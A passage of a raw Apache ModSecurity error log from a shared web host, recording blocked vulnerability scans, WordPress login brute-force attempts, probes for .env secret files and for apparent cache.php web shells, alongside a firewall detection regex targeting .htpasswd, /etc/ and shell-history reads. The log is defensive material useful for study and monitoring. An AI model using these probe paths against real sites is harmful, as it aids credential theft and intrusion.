https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ny9zdWJzeXN0ZW0vZXZlbnQyL3N1YnN5c3RlbS9pbnB1dDQvZGV2aWNl [Sat Jun 13 18:17:43.015058 2026] [security2:error] [pid 648189:tid 648482] [client 216.73.216.11:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 11.216.73.216.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mail.goldensnifferproducts.com"] [uri "/php52/ext/standard/tests/strings/vfprintf_variation17.phpt"] [unique_id "ai3zJ1WSojQL4F7upKBn9QAAAQA"] [Sat Jun 13 18:17:43.040628 2026] [security2:error] [pid 646876:tid 647074] [client 77.68.83.86:64410] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 86.83.68.77.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "56grwp.org"] [uri "/images/images/images/images/cache.php"] [unique_id "ai3zJ9yTkdrNlD40tSGwYAAAAEI"], referer: www.google.com [Sat Jun 13 18:17:43.059793 2026] [access_compat:error] [pid 646876:tid 646980] [remote 57.141.14.97:28836] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:17:43.060252 2026] [access_compat:error] [pid 646876:tid 646980] [remote 57.141.14.97:28836] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:17:43.159402 2026] [security2:error] [pid 648189:tid 648332] [remote 17.246.23.128:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 128.23.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3zJ1WSojQL4F7upKBn-wAAkW0"] [Sat Jun 13 18:17:43.280703 2026] [security2:error] [pid 646876:tid 647121] [client 185.177.72.9:41894] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/magento/.env"] [unique_id "ai3zJ9yTkdrNlD40tSGwawAAAHE"] [Sat Jun 13 18:17:43.365864 2026] [access_compat:error] [pid 646876:tid 646961] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21pY2Uvc3Vic3lzdGVtL2V2ZW50MS9kZXZpY2Uvc3Vic3lzdGVtL2lucHV0Mi9wb3dlcg== [Sat Jun 13 18:17:43.366310 2026] [access_compat:error] [pid 646876:tid 646961] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21pY2Uvc3Vic3lzdGVtL2V2ZW50MS9kZXZpY2Uvc3Vic3lzdGVtL2lucHV0Mi9wb3dlcg== [Sat Jun 13 18:17:43.417729 2026] [security2:error] [pid 646876:tid 647081] [client 185.177.72.9:41894] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/mailinabox/.env"] [unique_id "ai3zJ9yTkdrNlD40tSGwcwAAAEk"] [Sat Jun 13 18:17:43.423172 2026] [access_compat:error] [pid 646876:tid 646879] [remote 57.141.14.76:58815] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:17:43.423621 2026] [access_compat:error] [pid 646876:tid 646879] [remote 57.141.14.76:58815] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:17:43.474108 2026] [security2:error] [pid 646876:tid 646963] [remote 17.22.253.94:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 94.253.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3zJ9yTkdrNlD40tSGwdAAAWVQ"] [Sat Jun 13 18:17:43.551218 2026] [access_compat:error] [pid 648189:tid 648334] [remote 57.141.14.31:21366] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:17:43.551663 2026] [access_compat:error] [pid 648189:tid 648334] [remote 57.141.14.31:21366] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:17:43.555135 2026] [security2:error] [pid 646876:tid 647067] [client 185.177.72.9:41894] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/mailman/.env"] [unique_id "ai3zJ9yTkdrNlD40tSGwdgAAADs"] [Sat Jun 13 18:17:43.666468 2026] [security2:error] [pid 648189:tid 648401] [client 77.68.83.86:63372] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 86.83.68.77.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "56grwp.org"] [uri "/images/images/images/cache.php"] [unique_id "ai3zJ1WSojQL4F7upKBoDAAAALU"], referer: www.google.com [Sat Jun 13 18:17:43.913057 2026] [access_compat:error] [pid 646876:tid 646968] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21pY2Uvc3Vic3lzdGVtL2lucHV0Ni9zdWJzeXN0ZW0vZXZlbnQ0L2RldmljZS9kZXZpY2U= [Sat Jun 13 18:17:43.913504 2026] [access_compat:error] [pid 646876:tid 646968] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21pY2Uvc3Vic3lzdGVtL2lucHV0Ni9zdWJzeXN0ZW0vZXZlbnQ0L2RldmljZS9kZXZpY2U= [Sat Jun 13 18:17:44.055099 2026] [security2:error] [pid 648189:tid 648244] [remote 17.241.219.51:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 51.219.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3zKFWSojQL4F7upKBoHAAAqBc"] [Sat Jun 13 18:17:44.055640 2026] [access_compat:error] [pid 646876:tid 646930] [remote 216.73.216.223:38812] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:17:44.056064 2026] [access_compat:error] [pid 646876:tid 646930] [remote 216.73.216.223:38812] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:17:44.102444 2026] [access_compat:error] [pid 646876:tid 647000] [remote 57.141.14.98:31898] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:17:44.102897 2026] [access_compat:error] [pid 646876:tid 647000] [remote 57.141.14.98:31898] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:17:44.140370 2026] [security2:error] [pid 648189:tid 648400] [client 34.23.213.224:51536] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 224.213.23.34.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai3zKFWSojQL4F7upKBoIAAAALQ"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:17:44.226451 2026] [security2:error] [pid 648189:tid 648313] [remote 17.246.19.242:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 242.19.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3zKFWSojQL4F7upKBoIgAAh1s"] [Sat Jun 13 18:17:44.302222 2026] [security2:error] [pid 648189:tid 648353] [client 34.23.213.224:51550] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 224.213.23.34.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai3zKFWSojQL4F7upKBoJgAAAIU"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:17:44.318756 2026] [access_compat:error] [pid 646876:tid 646952] [remote 57.141.14.53:31096] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:17:44.319063 2026] [access_compat:error] [pid 646876:tid 646952] [remote 57.141.14.53:31096] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:17:44.347393 2026] [security2:error] [pid 648189:tid 648227] [remote 210.211.99.176:58146] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 176.99.211.210.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "impromptufridaynights.com"] [uri "/wp-login.php"] [unique_id "ai3zKFWSojQL4F7upKBoKAAAwAc"] [Sat Jun 13 18:17:44.351396 2026] [security2:error] [pid 646876:tid 646962] [remote 17.22.237.116:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 116.237.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3zKNyTkdrNlD40tSGwkQAAFlM"] [Sat Jun 13 18:17:44.423509 2026] [access_compat:error] [pid 646876:tid 646896] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9zdWJzeXN0ZW0vaW5wdXQyL3N1YnN5c3RlbS9pbnB1dDUvaWQ= [Sat Jun 13 18:17:44.423994 2026] [access_compat:error] [pid 646876:tid 646896] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9zdWJzeXN0ZW0vaW5wdXQyL3N1YnN5c3RlbS9pbnB1dDUvaWQ= [Sat Jun 13 18:17:44.462283 2026] [security2:error] [pid 648189:tid 648466] [client 34.23.213.224:51562] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 224.213.23.34.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai3zKFWSojQL4F7upKBoLgAAAPA"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:17:44.511423 2026] [security2:error] [pid 648189:tid 648267] [remote 17.246.15.22:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 22.15.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3zKFWSojQL4F7upKBoLwAAsS0"] [Sat Jun 13 18:17:44.596494 2026] [security2:error] [pid 646876:tid 646965] [remote 220.181.108.174:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 174.108.181.220.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "forum.torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3zKNyTkdrNlD40tSGwmAAAUFY"] [Sat Jun 13 18:17:44.623784 2026] [security2:error] [pid 648189:tid 648468] [client 34.23.213.224:51566] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 224.213.23.34.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai3zKFWSojQL4F7upKBoMwAAAPI"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:17:44.644813 2026] [access_compat:error] [pid 646876:tid 646998] [remote 57.141.14.27:32224] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:17:44.645140 2026] [access_compat:error] [pid 646876:tid 646998] [remote 57.141.14.27:32224] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:17:44.694556 2026] [access_compat:error] [pid 646876:tid 646977] [remote 57.141.14.89:30028] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:17:44.695006 2026] [access_compat:error] [pid 646876:tid 646977] [remote 57.141.14.89:30028] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:17:44.741454 2026] [access_compat:error] [pid 646876:tid 646898] [remote 57.141.14.67:63761] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:17:44.741897 2026] [access_compat:error] [pid 646876:tid 646898] [remote 57.141.14.67:63761] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:17:44.784681 2026] [security2:error] [pid 646876:tid 647015] [client 34.23.213.224:51580] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 224.213.23.34.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai3zKNyTkdrNlD40tSGwoQAAAAc"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:17:44.921531 2026] [security2:error] [pid 646876:tid 647041] [client 77.68.83.86:49773] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 86.83.68.77.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "56grwp.org"] [uri "/wp-content/plugins/plugins/cache.php"] [unique_id "ai3zKNyTkdrNlD40tSGwpAAAACE"], referer: www.google.com [Sat Jun 13 18:17:44.950945 2026] [security2:error] [pid 648189:tid 648325] [remote 210.211.99.176:58146] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 176.99.211.210.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "impromptufridaynights.com"] [uri "/wp-login.php"] [unique_id "ai3zKFWSojQL4F7upKBoPgAAkmY"], referer: https://impromptufridaynights.com/wp-login.php [Sat Jun 13 18:17:44.951286 2026] [security2:error] [pid 646876:tid 647019] [client 34.23.213.224:51584] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 224.213.23.34.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai3zKNyTkdrNlD40tSGwpgAAAAs"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:17:44.971524 2026] [access_compat:error] [pid 646876:tid 646983] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMC9zdWJzeXN0ZW0vbW91c2UwL3N1YnN5c3RlbS9pbnB1dDQvbW91c2UxL2RldmljZQ== [Sat Jun 13 18:17:44.972004 2026] [access_compat:error] [pid 646876:tid 646983] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMC9zdWJzeXN0ZW0vbW91c2UwL3N1YnN5c3RlbS9pbnB1dDQvbW91c2UxL2RldmljZQ== [Sat Jun 13 18:17:45.283312 2026] [security2:error] [pid 646876:tid 646907] [remote 17.246.19.228:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 228.19.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3zKdyTkdrNlD40tSGwsAAARxw"] [Sat Jun 13 18:17:45.347725 2026] [security2:error] [pid 648189:tid 648342] [remote 77.98.172.28:0] ModSecurity: Warning. Pattern match "/(contact(o|.?us)?|wp-comments-post|(send)?.?(form.)?e?mail(er)?|memberlist|send|contact.form(.handler)?|thankyou|leafmailer[0-9.]*)\\\\.php" at REQUEST_URI. [file "/opt/mod_security/hg_rules.conf"] [line "1546"] [id "900923"] [msg "contact form logging"] [hostname "www.torquayfans.com"] [uri "/memberlist.php"] [unique_id "ai3zKVWSojQL4F7upKBoTQAAqXc"], referer: https://www.torquayfans.com [Sat Jun 13 18:17:45.347760 2026] [security2:error] [pid 648189:tid 648342] [remote 77.98.172.28:0] ModSecurity: Access denied with code 409 (phase 2). Match of "eq 1" against "&REQUEST_COOKIES:humans_21909" required. [file "/opt/mod_security/hg_rules.conf"] [line "1552"] [id "900424"] [msg "Transparent Bot Detection for Contact Forms"] [hostname "www.torquayfans.com"] [uri "/memberlist.php"] [unique_id "ai3zKVWSojQL4F7upKBoTQAAqXc"], referer: https://www.torquayfans.com [Sat Jun 13 18:17:45.478856 2026] [access_compat:error] [pid 646876:tid 646897] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: 